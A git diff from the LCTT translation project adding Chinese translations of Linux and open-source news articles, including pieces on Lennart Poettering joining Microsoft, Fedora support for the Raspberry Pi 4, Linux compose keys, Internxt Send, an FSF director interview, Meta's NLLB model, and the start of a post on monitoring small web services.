Creator Adds to the List.md @@ -0,0 +1,70 @@ +[#]: subject: "More Linux Developers Joining Microsoft, Systemd Creator Adds to the List" +[#]: via: "https://news.itsfoss.com/systemd-creator-microsoft/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14804-1.html" + +又有 Linux 开发者加入微软,这次是 systemd 的创建者 +====== + +> 看来微软拿了一手好牌,在 Linux 和开源方面取得行业成功。 + +![microsoft][1] + +出于某种原因,微软在开源和 Linux 方面总是受到关注。 + +而且,当我们谈论 Linux 开发者时,它也会成为焦点……为什么会这样? + +微软似乎正在为一系列的项目招聘大量 Linux 开发人员。而且,一个知名人物也加入了这个名单。 + +据 [Phoronix][2] 报道,systemd 和 PulseAudio 的创建者 **Lennart Poettering**,现在已在微软工作,继续专注于 systemd 的开发。 + +或许你不知道,Lennart 曾在红帽工作,领导 PulseAudio 项目和其他一些事情。 + +除了 Lennart 之外,Python 之父 **Guido Van Rossum** 等一些关键的开发人员之前就加入了微软。 + +(LCTT 译注:据 Phoronix 总结,还有更多的开源开发者加入了(或加入过)微软,这包括:GNOME 创建者 Miguel de Icaza 曾在 2016 年微软收购 Xamarin 时受雇,到今年早些时候离开;Nat Friedman 作为 Xamarin 的成员在微软收购后加入,后担任微软旗下的 GitHub 的 CEO;Gentoo Linux 创始人 Daniel Robbins 之前受雇于微软;Steve French 作为 Linux CIFS/SMB2/SMB3 的维护者和 Samba 团队的成员为微软工作;以及大量的上游 Linux 开发者,如 Matteo Croce、Matthew Wilcox、Tyler Hicks、Shyam Prasad N、Michael Kelley、Christian Brauner 等等也曾被微软雇佣。) + +### 微软在为最佳状态做准备 + +毫不奇怪,微软希望提高其对基于开源的项目的关注,并尽可能有效地利用 Linux 为其业务服务。 + +Azure 平台对开源的利用最多,而且,不要忘了 **Windows Subsystem for Linux**(WSL)。 + +因此,微软一直在招聘 Linux 开发人员。如果你想试试,你会在 [微软职业][3] 栏目中找到很多与 Linux 有关的职位。 + +虽然这对微软的产品线来说是一件大事,但它一般不会影响到 Linux 桌面用户。事实上,我认为,Linux 开发者得到的资源越多,由于他们工作角色转换,他们可以帮助 Linux 生态系统更好地增强其愿景。 + +当然,让所有关键的 Linux 开发者都在微软拥有的项目上工作并不是一件喜闻乐见的事情,但是,事实就是如此。 + +### 微软正在做正确的事情 + +这不仅仅是经济上的回报,Linux 开发者加入微软团队的趋势意味着他们在开源和 Linux 上的一些努力是成功的。 + +只要微软努力改善 Linux 生态系统,我认为我们就没有什么可担心的。 + +我不想被提醒“拥抱、扩展和熄灭Embrace, extend, and extinguish”(3E)。毕竟,这对所有公司来说都是生意。当涉及到赚钱的决定时,没有人应该被认为是英雄。 + +因此,我们只能希望微软在不久的将来为 Linux 开发者和用户准备好一些好东西。 + +你对此有何看法?在下面的评论区分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/systemd-creator-microsoft/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/more-linux-devs-joing-microsoft-systemd-creator-add-list.jpg +[2]: https://www.phoronix.com/scan.php?page=news_item&px=Systemd-Creator-Microsoft +[3]: https://careers.microsoft.com/us/en/search-results?keywords=Linux diff --git a/published/202207/20220707 Raspberry Pi 4 Support is Coming to Fedora Linux.md b/published/202207/20220707 Raspberry Pi 4 Support is Coming to Fedora Linux.md new file mode 100644 index 0000000000..d178afd6dd --- /dev/null +++ b/published/202207/20220707 Raspberry Pi 4 Support is Coming to Fedora Linux.md @@ -0,0 +1,66 @@ +[#]: subject: "Raspberry Pi 4 Support is Coming to Fedora Linux" +[#]: via: "https://news.itsfoss.com/fedora-raspberry-pi-4/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14808-1.html" + +Fedora Linux 37 即将正式支持树莓派 4 +====== + +> 由于上游的一些改进,Fedora Linux 37 将引入对树莓派 4 的正式支持。 + +![Fedora raspberry pi][1] + +Fedora Linux 的工作站版很适合台式机使用。不过,如果你想让它用于服务器或物联网需求,可以使用 Fedora ARM 项目。 + +它也支持树莓派,只是最新的树莓派 4 除外(其实早在 2019 年就发布了)。 + +现在,随着 [Phoronix][2] 发现的一项拟议的变化,看起来 Fedora Linux 37 可能会正式增加对树莓派 4 的支持。 + +### 目前还不是正式的... + +到现在为止,对树莓派 4 的支持只是一个拟议的变化。 + +Fedora Linux 通常会公开其拟议的变化列表,以接受社区反馈并让其他人跟踪其进展。 + +所以,Fedora Linux 37 中的正式支持只有在得到 Fedora 工程指导委员会的批准后才会实施。 + +但是,**支持树莓派 4 的阻碍是什么呢?** + +这是由于缺乏加速图形以及缺失一些功能,所以不方便增加对它的支持。 + +现在,随着新的 Linux 内核和 Mesa 的上游工作为树莓派 4 带来了图形加速功能,可以让他们启用对它的支持。 + +拟议的变化文件中提到: + +> 上游现在支持使用 V3D GPU 的 OpenGL-ES 和 Vulkan 加速图形。对有线网络也有增强,支持 CM4/4B 上的 PTPv2。 + +此外,不仅仅是引入对树莓派 4 的支持,一些拟议的变化还涉及对树莓派 3 系列和 Zero 2 W 的改进。 + +因此,如果如人们所期望的那样发生,这应该是一个有趣的变化。 + +请注意,对树莓派 400 的 Wi-Fi 的支持不是这个过程的一部分,但对音频支持的测试将是这个变化的一部分。 + +你可以在 [拟议文件][3] 中阅读所有的细节。 + +你对 Fedora Linux 37 对树莓派 4 的支持有什么看法?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-raspberry-pi-4/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/fedora-coming-to-raspberry-pi.jpg +[2]: https://www.phoronix.com/scan.php?page=news_item&px=Fedora-37-Raspberry-Pi-4 +[3]: https://fedoraproject.org/wiki/Changes/RaspberryPi4 diff --git a/published/202207/20220707 Use secret keyboard keys on Linux.md b/published/202207/20220707 Use secret keyboard keys on Linux.md new file mode 100644 index 0000000000..93cb065735 --- /dev/null +++ b/published/202207/20220707 Use secret keyboard keys on Linux.md @@ -0,0 +1,146 @@ +[#]: subject: "Use secret keyboard keys on Linux" +[#]: via: "https://opensource.com/article/22/7/linux-compose-key-cheat-sheet" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14882-1.html" + +在 Linux 中使用组合键输入隐藏的字形 +====== + +> 使用组合键,你不会被键盘所限制住。 + +![](https://img.linux.net.cn/data/attachment/album/202207/31/095532p72762ekberw7eb6.jpg) + +典型的键盘只有约 100 个键位。 + +由于 `Shift` 键,许多键得以有两个字符(也称之为 字形glyph)。字形常用于键入带有重音和变音符号的字母,生成数学公式或者货币中的符号,或者添加有趣的表情符号。在一些地区,有些键甚至有三个字形。 + +然而,不论你身处何处,有一些字形不会出现在你的键盘上。幸运的是,Linux 提供了使用 组合键Compose Key 来获取这些字形。 + +在你的键盘上没有组合键这个键,至少默认情况下没有,但是你可以设定一个你不用的键作为组合键。我在电脑上使用空格键旁边的 `Alt` 键,而在平板上使用菜单键,来作为组合键。 + +> **[下载 Linux 组合键速查表][2]** + +### 在 GNOME 中设置组合键 + +![A screenshot shows the keyboard and mouse options visible. The "Compose Key" option is set to Right Alt.][3] + +在 GNOME 桌面,从软件库中安装 优化Tweaks 应用。你也可以从终端安装(基于 Debian 发行版用 `apt` 命令,Fedora 用 `dnf`): + +``` +$ sudo dnf install gnome-tweaks +``` + +启动优化应用后: + +1. 单击左侧栏中的 键盘和鼠标Keyboard & Mouse类别 +2. 找到 组合键Compose key 设置并指定一个键 +3. 关闭优化应用 + +### 在 KDE Plasma 桌面设置组合键 + +![A screenshot shows the advanced options threaded under Keyboard settings. "Configure keyboard options" is checked, "Position of Compose Key" is checked within that menu, and "Right Alt" is checked within that menu.][4] + +在 KDE Plasma 桌面上,打开 系统设置System Settings,找到 输入设备Input Devices 控制界面。然后: + +1. 在 输入设备Input Devices 界面,点击 “高级Advanced” 标签 +2. 找到 组合键Compose key 列表项并指定一个键 +3. 点击右下角 “应用Apply” 按钮,然后关闭 系统设置System Settings + +### 使用组合序列 + +为了输入隐藏字符,需要按下组合键后松开。这样就可以进入组合模式。处于组合模式,你按下然后松开键,然后再按下一个键来组合字符。 + +例如: + +1. 按下组合键并释放,你会进入组合模式 +2. 按下单引号(`'`)并松开 +3. 按下 `E` 并松开,这是一个有效的组合,所以现在退出了组合模式 + +你输入了一个字符:`É`! + +一些组合序列只需要两个键的组合,然而还有一些需要三个键,并且至少有一个特殊字符要按四次键。 + +### 变音字符 + +这是一个很小众的世界,所以你的朋友的名字很有可能使用的字形不是你的键盘原生的字形。你现在可以跳过变音符号并使用适当的修饰符输入名字。 + +以下是常见变音符号的组合序列示例: + +* `' + <字母>` = `á é í ó ú ć ń ý j́́ ẃ ź` +* "\` + <字母>" = `à è ì ò ù ǹ ỳ ẁ` +* `~ + <字母>` = `ã ẽ ĩ õ ũ ñ ỹ` +* `^ + <字母>` = `â ê î ô û ĉ ŷ ĵ ŵ ẑ` +* `u + <字母>` = `ă ĕ ĭ ŏ ŭ` +* `c + c` = `č` +* `- + <字母>` = `ā ē ī ō ū đ` +* `, + <字母>` = `ą ę į ǫ ų ç ḑ ţ` + +这里仅仅罗列了常见的几个,并不是所有的组合。 + +#### 货币符号 + +得益于组合键,国际银行业务也变得容易: + +* `- + Y` = `¥` +* `- + L` = `£` +* `= + E` = `€` +* `= + L` = `₤` +* `= + N` = `₦` +* `= + R` = `₹` +* `= + W` = `₩` +* `/ + m` = `₥` +* `R + s` = `₨` +* `C + r` = `₢` +* `F + r` = `₣` + +重申,这不是完整的列表,但是一个好的开始。 + +#### 有趣的字形 + +变音符号和货币符号具有实用性,但是组合键也可以用来娱乐: + +* `< + 3` = `♥` +* `< + >` = `⋄` +* `# + q` = `♩` +* `: + )` = `☺` +* `: + (` = `☹` +* `p + o + o` = `💩` + +#### 长寿和繁荣 + +在 Linux 中我最喜欢的“秘密”字形是传统的 Vulcan 称呼,“长寿和繁荣”。 + +* `L + L + A + P` = `🖖` + +### 找到所有的字形 + +通过组合键可以使用更多字形,你可以通过按随机组合序列来发现新的字形。查找字形的一种更有条理的方法是参考位于 `/usr/share/X11/locale/en_US.UTF-8` 中的 `Compose` 文件(需要根据你键盘使用的语言环境调整绝对路径)。 + +这个文件令人崩溃,因为它包含超过 6000 行的组合序列,其中许多是 ASCII 和 Unicode 的复杂组合。要快速轻松地参考常见和基础序列,你可以 [下载我们的组合键速查表][5]。它提供涵盖数学、排版、音乐、箭头、变音符号、货币等的序列。 + +现在你知道了这个秘密,你可以表达更多内容了。 + +*(图片源自:Seth Kenlon, CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/linux-compose-key-cheat-sheet + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/linux_keyboard_desktop.png +[2]: https://opensource.com/downloads/linux-compose-key-cheat-sheet +[3]: https://opensource.com/sites/default/files/2022-04/gnome-tweaks-compose.jpeg +[4]: https://opensource.com/sites/default/files/2022-04/kde-settings-input-advanced-compose.jpeg +[5]: https://opensource.com/downloads/linux-compose-key-cheat-sheet diff --git a/published/202207/20220708 Do You Miss Firefox Send- Internxt Send is Ready as a Replacement.md b/published/202207/20220708 Do You Miss Firefox Send- Internxt Send is Ready as a Replacement.md new file mode 100644 index 0000000000..c1bc131418 --- /dev/null +++ b/published/202207/20220708 Do You Miss Firefox Send- Internxt Send is Ready as a Replacement.md @@ -0,0 +1,68 @@ +[#]: subject: "Do You Miss Firefox Send? Internxt Send is Ready as a Replacement" +[#]: via: "https://news.itsfoss.com/internxt-send/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14822-1.html" + +怀念 Firefox Send 吗?不妨试试 Internxt Send 吧 +====== + +> Internxt 发布了一个新产品,它可以让你快速地将加密文件发送给任何人,同时保持你的隐私。嗯,我们只能希望它不会像 Firefox Send 那样关闭吧…… + +![Internxt][1] + +[Internxt][2] 是一个相当新的开源加密云服务,旨在取代大型科技公司的产品。例如,你可以把它作为谷歌的相册和云端硬盘的替代品。 + +它免费提供 10 GB 的容量。所以,如果感兴趣的话,你可以注册个账号试一试。 + +最近,他们还新增了另一个产品 “Internxt Send”,作为 Firefox Send 的替代品,填补这个空缺。 + +唉,说到这里还挺遗憾的,Firefox Send 已停止服务了,不得不说它是一个很好的工具! + +不过,[Internxt Send][3] 让你可以像 Firefox Send 一样安全地发送/共享图像、视频、文档和其他文件。 + +### Internxt Send:一个安全的文件共享服务 + +![][4] + +我在 GitHub 上找不到 Internxt Send 的存储库,但我已经要求他们澄清了。 + +(LCTT 译注:虽然 Internxt 是在 GitHub 上开源的,但是 GitHub 上没有 Internxt Send 这个产品的存储库,产品的介绍里也没有声称它是开源的。) + +正如你所期望的那样,你无需创建帐户即可将文件上传到 Internxt Send。 + +文件上传限制为 5 GB。而且,你不能以任何方式提高这个限制。 + +你可以选择文件,上传并生成共享链接。或者,你也可以直接向收件人发送电子邮件,那样的话,你需要在邮件里分享你的电子邮件地址。 + +![][5] + +有趣的是,它还允许你在这个电子邮件中添加自定义文本。 + +与 Firefox Send 不同的是,你无法修改文件共享链接的到期时间,或者是让它在多次下载后失效。默认情况下,链接会在 15 天后过期,你无法更改这个时间。嗯,这还挺扫兴的。 + +但是,对于那些正在苦苦等待一个加密的共享文件服务的人来说,这可能是一种替代方案。 + +*我认为有更多的 Firefox Send 替代品是件好事!你对 Internxt Send 有何看法?欢迎在下方评论区里和大家分享。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/internxt-send/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/internxt-send-ft-1.jpg +[2]: https://itsfoss.com/internxt-cloud-service/ +[3]: https://send.internxt.com/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/07/internxt-send-1024x640.png +[5]: https://news.itsfoss.com/wp-content/uploads/2022/07/internxt-send-screenshot-1024x782.png diff --git a/published/202207/20220708 Meet Free Software Foundation Executive Director Zoë Kooyman.md b/published/202207/20220708 Meet Free Software Foundation Executive Director Zoë Kooyman.md new file mode 100644 index 0000000000..15f63616b7 --- /dev/null +++ b/published/202207/20220708 Meet Free Software Foundation Executive Director Zoë Kooyman.md @@ -0,0 +1,79 @@ +[#]: subject: "Meet Free Software Foundation Executive Director Zoë Kooyman" +[#]: via: "https://opensource.com/article/22/7/meet-fsf-executive-director-zoe-kooyman" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "TravinDreek" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14844-1.html" + +自由软件基金会执行董事 Zoë Kooyman 专访 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/19/151615wnr8m4l8yotr6hp8.jpg) + +> 了解一下自由软件基金会(FSF)。 + +早在 1985 年,[自由软件基金会][2](FSF)就开始提倡源代码共享的理念,并从此打响了为计算机用户和开发者捍卫权利的斗争。FSF 认为,用“开放Open”和“封闭Closed”这两个词来划分软件,十分具有局限性;于是,在为程序分类时,转而使用了以下词语:*尊重自由*(这个“自由free”或这个“自由Libre”)或*践踏自由*(“非自由non-free”或“专有proprietary”)。不管用语如何,关键之处在于,计算机必须受用户控制,而不是任由开发了计算机软件的公司来摆布。正因如此,GNU 工程、Linux 内核、Freedesktop.org 等众多自由软件项目,才会如此重要。 + +最近,FSF 新上任了一位执行董事,她叫 Zoë Kooyman。我初见 Zoë 时,是在 2019 年的一个 [All Things Open][3] 大会上。当然,那个时候她还不是 FSF 的执行董事,不过已经在管理 FSF 不断增长的重大活动了 —— 包括 [LibrePlant][4]。她之前递给我了一份自由软件作者的名单,名单长得一眼望不尽,而且那些软件都是我*每天*在用的。由此,我也很受她那充沛的精力和诚恳的态度所打动。我只是偶然参加了一次 FSF 的聚会,但最后却和那些人成了朋友。是他们让我的数字生活有了意义,是他们保障了我能够拥有 Zoë 和 FSF 所说的 [四项基本自由][5]: + +* 无论用户出于何种目的,用户必须可以按照自己的意愿,自由地运行该软件(自由之零)。 +* 用户可以自由地学习并修改该软件,使它按照你的意愿进行计算(自由之一)。作为前提,用户必须可以得到该软件的源代码。 +* 用户可以自由地分发该软件的副本,这样就可以帮助别人(自由之二)。 +* 用户可以自由地分发该软件修改后的副本(自由之三)。借此,用户可以把改进后的软件分享给整个社区,令他人也从中受益。作为前提,用户必须可以得到该软件的源代码。 + +听说了 Zoë 受任为执行董事后,我给她发了一封邮件,提出想和她进行一次采访。她十分热心,在百忙之中抽出了一点时间来和我畅谈。 + +**Seth Kenlon:你当上 FSF 的执行董事了!你是怎么走到今天的呢?** + +**Zoë Kooyman:** 在我的工作生涯中,我最开始是一位活动组织者。我环游世界,举办着一些世界上最大的音乐节目。在不断变更的地点、各具特色的文化中工作,是十分有趣的,因为不管是演出、技艺还是别的现场元素,所有各异的制作元素都结合在一起了。让一切事物都在恰当时候安排到位,就像是耍杂技一样。很多时候,我都是在不同的国家生活和工作。多亏了我的工作,我才能学到这么多的组织和交流的技巧。我也对不同形式的媒体有过研究和工作,了解它们的体验,以及它们与社会的关系。 + +大学时期,我第一次了解到了“左版copyleft”(LCTT 译注:与版权copyright相对。是一种分享软件的思想和方法;简而言之,其目的是保障一款软件对其每一位接收者来说都是自由的),它是关于我们如何才能使用现有的结构来造福自己,并推动变革的。也正是在那时,媒体(以及互联网和软件)的格局开始迅速变化,而这种变化却是以自由为代价的。搬到美国后,我的生活变了许多。在美国,我对社会责任问题有了更加强烈的紧迫感,因此我决定为此付诸行动。我很感激 John Sullivan(时任 FSF 执行董事),他根据我对自由软件的了解以及我在活动组织方面的经验聘任了我,由此我也得以把这两方面的能力结合到一起。 + +**Seth:你是如何了解到自由软件的?** + +**Zoë:** 我们常常会觉得,自由软件主要影响的是懂技术的人。但是,自由软件运动的目的是捍卫每一位计算机用户的自由。其实,软件自由影响着边缘化社区(LCTT 译注:因条件受限或受到排斥等,落后于主流社会的发展,而被置于社会边缘的群体)的成员,他们很少有机会使用计算机。而软件也塑造了他们的生活。 + +GNU 工程和左版的概念所取得的成就是十分卓越的。去真正观察社会发展的方向,然后说:“不一定非得那样才行,我们可以把事情掌握在自己手中。”这在早期改变了我的人生观。我开始有了一种想法,把现有的材料用起来,再把它重新引入不同的亚文化之中。在娱乐行业,这已是家常便饭。从他人的作品中得到灵感,并基于此创造新的作品,其结果就是对我们所处时代的反映,同时也是对历史的致敬。没有这般自由,也不会有真正的进步。 + +谈谈我对电影版权的看法吧。我曾经与荷兰电影研究所合作,做了一个由许多“孤立的电影片段”组合而成的混剪。然后,在一次有几千名年轻人参加的大型舞蹈活动中,那个混剪就在一个 170 米的全景屏幕上播放了,而且还有现场 DJ 在配合演奏。他们之后也经常在别的活动中播放它,比如说荷兰的 博物馆之夜Museumnacht。 + +我并不懂技术,于是我通过文化来表达了这些观点。但这些年来,我越来越多地接触到了自由软件的思想。我于是意识到,随着软件不断融入我们的生活(有时还是身体),为自由软件而战的重要性正日益凸显。在当今的世界,专有软件处于称霸地位,我们社会的发展呈现出以利益驱动、为少数人着想的趋势,而这种趋势是以多数人的自由为代价的。如果没有自由软件,生活中的许多方面、社会的许多重要事业,就不可能真正取得成功。 + +**Seth:** 你是什么时候加入 FSF 的? + +**Zoë:** 在 2019 年初,LibrePlanet 最后一期现场版的前一周(LCTT 译注:LibrePlant 之后因为疫情而改成了线上活动)。 + +**Seth:** 是什么吸引了你去担任执行董事这一职位? + +**Zoë:** FSF 只是一个致力于让社会更加公平、更加协作、更加理解软件的组织,但它长期以来一直是这场运动的核心。社会正在迅速变化,而许多人却还没准备好如何应对当今社会的数字产物,例如软件。这是一项十分重要的工作,但是去做这项工作的人还是太少了。能有一个组织来应对未来的各种挑战,这是十分重要的。 + +执行董事这一职位,在某种程度上,不过是辅助工作人员和社区的角色,好让他们为自由软件作出关键的改变。我相信,我们继续传播自由软件的思想,是非常重要的;并且,有了 FSF 的团队协助,我也相信,我能利用好工作在不同文化和人群中的经验,以及组织高挑战性的全球项目的经验,来使我们发挥出最大的潜能。我的这项决定,得到了来自工作人员、管理层和社区和董事会的支持,由此我相信,这个决定是正确的。 + +**Seth:** 你认为当今的软件自由,面临的最大的挑战是什么?FSF 在应对这些挑战的时候,应该承担怎样的使命? + +**Zoë:** 随着软件越来越多地融入了社会的基本结构,软件也更加无形了。如今,软件的存在是如此的广泛,我们却习惯性地忽视它。我们只关注着程序的功能,却无视了实现这种功能的手段,更别说它尊不尊重你作为一位用户的自由了。而与此同时,软件又比以往任何时候都更快的扩散。如果人们无法理解程序是如何构成的,而只是整天地用着这些程序,那我们该怎么向他们解释,他们正遭受着不公呢? + +FSF 的职责就是,让每个人重新谈起用户自由,并提醒人们,我们所使用的工具并没有那么好。因此,教育行业和政府的认可是十分重要的。如果我们让人们关注软件自由在这些领域的问题,那我们必将取得成效。通过教育,我们可以确保后代也有选择自由的权利;而政府采用自由软件,可以保护公民免遭专有软件的不正影响(维护数字主权)。 + +我们可以告诉人们,当今社会给我们灌输了错误的观点:你的自由受到侵犯是正常的,毕竟事情“太复杂,你理解不了”。如果你想要图个便利,想要相互联系,或者就是想要满足你的需求,那你就得相信这些组织,按照他们的意愿来。这是不对的。我们整个社区都相信,我们能构建一个无需抛弃自由也能处在其中的社会。并且我们也有这样的法律框架来支持我们的观点。每天,不同背景、不同能力的人都加入我们的对话,越来越多的人关心自己的自由,并且每个人都是出于真心的。我们每天都在学习如何去保护自己以及他人,并且我也希望,未来能够更加自由。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/meet-fsf-executive-director-zoe-kooyman + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[Peaksol](https://github.com/TravinDreek) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/dandelion_zoom.jpg +[2]: https://www.fsf.org/ +[3]: https://www.allthingsopen.org/ +[4]: https://libreplanet.org +[5]: https://www.gnu.org/philosophy/free-sw.en.html diff --git a/published/202207/20220708 Meta-s AI Model That Helps Overcome Language Barrier Is Now Open-Source.md b/published/202207/20220708 Meta-s AI Model That Helps Overcome Language Barrier Is Now Open-Source.md new file mode 100644 index 0000000000..df302ffce7 --- /dev/null +++ b/published/202207/20220708 Meta-s AI Model That Helps Overcome Language Barrier Is Now Open-Source.md @@ -0,0 +1,69 @@ +[#]: subject: "Meta’s AI Model That Helps Overcome Language Barrier Is Now Open-Source" +[#]: via: "https://news.itsfoss.com/meta-open-source-ai-model/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "fenglyulin" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14812-1.html" + +Meta 开源了语言翻译 AI 模型 +====== + +> Meta 的 “不落下任何语言No Language Left Behind” 是一个宏大的开源项目,旨在以最高准确度翻译语言。 + +![meta][1] + +Meta(前身是 Facebook)在开源世界做出了不小的贡献。Meta 除了专注于元宇宙Metaverse和其社交媒体平台外,还致力于各种研究和创新工作,比如 React(一个 JaveScript 库)。 + +现在,Meta 的研究人员决定开源一个叫 “不落下任何语言No Language Left Behind” 项目。 + +(LCTT 校注:这个直译项目名称不够好听,我来抛砖引玉,似可称做“无人独语”,读者有什么建议吗?) + +### Meta 试图不落下任何语言 + +![200 languages within a single AI model: A breakthrough in high-quality machine translation][2] + +目前,虽然世界上有大约 7000 个在使用中的语言,但大多数在线的内容都是以少数的流行语言来提供的,比如英语。这让许多不懂这些语言的人处于不利的地位。 + +虽然现存的许多翻译工具,但语法错误会让错误变得难以阅读和理解。另外,如果你想把内容翻译为一个不流行的语言(特别是非洲和亚洲的一些语言),翻译体验不会很好。 + +因此,Meta 正在开发有最高质量的翻译工具,可以帮助解决这一全球性的问题。 + +NLLB-200(不落下任何语言No Language Left Behind) 是一个人工智能翻译模型,其可以翻译 200 多种语言。该模型在每种语言中的翻译结果是通过一个名为 FLORES-200 复杂数据集来确定和评估的。 + +正如 Meta 所说,NLLB 的翻译结果比以前的人工智能研究方法好 40% 。对于一些最不常见的语言,其翻译准确率甚至超过 70%。了不起的工作! + +为了帮助开发项目和提高模型的翻译质量,Meta 向所有感兴趣的研究人员开放了源代码,包括 NLLB-200 模型、FLORES-200 数据库、模型训练和重建训练数据库的代码。 + +你可以在 [GitHub][3] 上找到源代码,并且可以在该项目的 [博客][4] 上了解它的更多信息。 + +### 对社会事业的鼓励 + +Meta 宣布向从事联合国可持续发展目标UN Sustainable Development Goals任何领域工作和翻译非洲语言的非营利组织和研究人员提供高达 20 万美元的捐赠,也鼓励其他学术领域如语言学和机器翻译的研究人员申请。 + +### 项目的影响 + +尽管 Meta 主要打算在其数字平台上,特别是在“元宇宙”上使用 NLLB,但 NLLB 也有可能在其他领域产生巨大影响。 + +许多用户可以用他们的母语轻松地访问和阅读在线资源。项目开源后,社区应该能够帮助实现这个目标。 + +*你对 Meta 的这个项目有什么看法?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/meta-open-source-ai-model/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[fenglyulin](https://github.com/fenglyulin) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/meta-makes-ai-language-model-opensource.jpg +[2]: https://youtu.be/uCxSPPiwrNE +[3]: https://github.com/facebookresearch/fairseq/tree/nllb +[4]: https://ai.facebook.com/blog/nllb-200-high-quality-machine-translation/ diff --git a/published/202207/20220709 Monitoring tiny web services.md b/published/202207/20220709 Monitoring tiny web services.md new file mode 100644 index 0000000000..1b57dfc0d3 --- /dev/null +++ b/published/202207/20220709 Monitoring tiny web services.md @@ -0,0 +1,141 @@ +[#]: subject: "Monitoring tiny web services" +[#]: via: "https://jvns.ca/blog/2022/07/09/monitoring-small-web-services/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14840-1.html" + +如何监测微型的网站服务 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/18/105829gzviausw5wg7wwxb.jpg) + +你好! 我最近又开始运行一些服务器([nginx playground][1]、[mess with dns][2]、[dns lookup][3]),所以我一直在考虑监控问题。 + +最初我并不完全清楚如何监控这些网站,所以我想快速写下我是如何做到的。 + +我根本不打算谈如何监控大型的、严肃的关键任务网站,只谈微型的不重要的网站。 + +### 目标:在操作上几乎不花时间 + +我希望网站大部分时间都能正常工作,但我也希望不用在持续的运营上花费时间。 + +我最初对运行服务器非常警惕,因为在我的上一份工作中,我是 24/7 轮流值班,负责一些关键的服务,在我的印象中,“负责服务器”意味着“在凌晨 2 点被叫起来修理服务器”和“有很多复杂的仪表盘”。 + +所以有一段时间我只做静态网站,这样我就不用考虑服务器的问题。 + +但最终我意识到,我所要写的任何服务器的风险都很低,如果它们偶尔宕机 2 小时也没什么大不了的,我只需设置一些非常简单的监控来帮助它们保持运行。 + +### 没有监控很糟糕 + +起初,我根本没有为我的服务器设置任何监控。这样做的结果是非常可预见的:有时网站坏了,而我却没有发现,直到有人告诉我! + +### 步骤 1:uptime 检查器 + +第一步是建立一个 uptime 检查器。外面有很多这样的东西,我现在使用的是 [updown.io][4] 和 [uptime robot][5]。我更喜欢 updown 的用户界面和 [定价][6] 结构(它是按请求而不是按月收费),但 uptime 机器人有一个更慷慨的免费套餐。 + +它们会: + + 1. 检查网站是否正常 + 2. 如果出现故障,它会给我发电子邮件 + 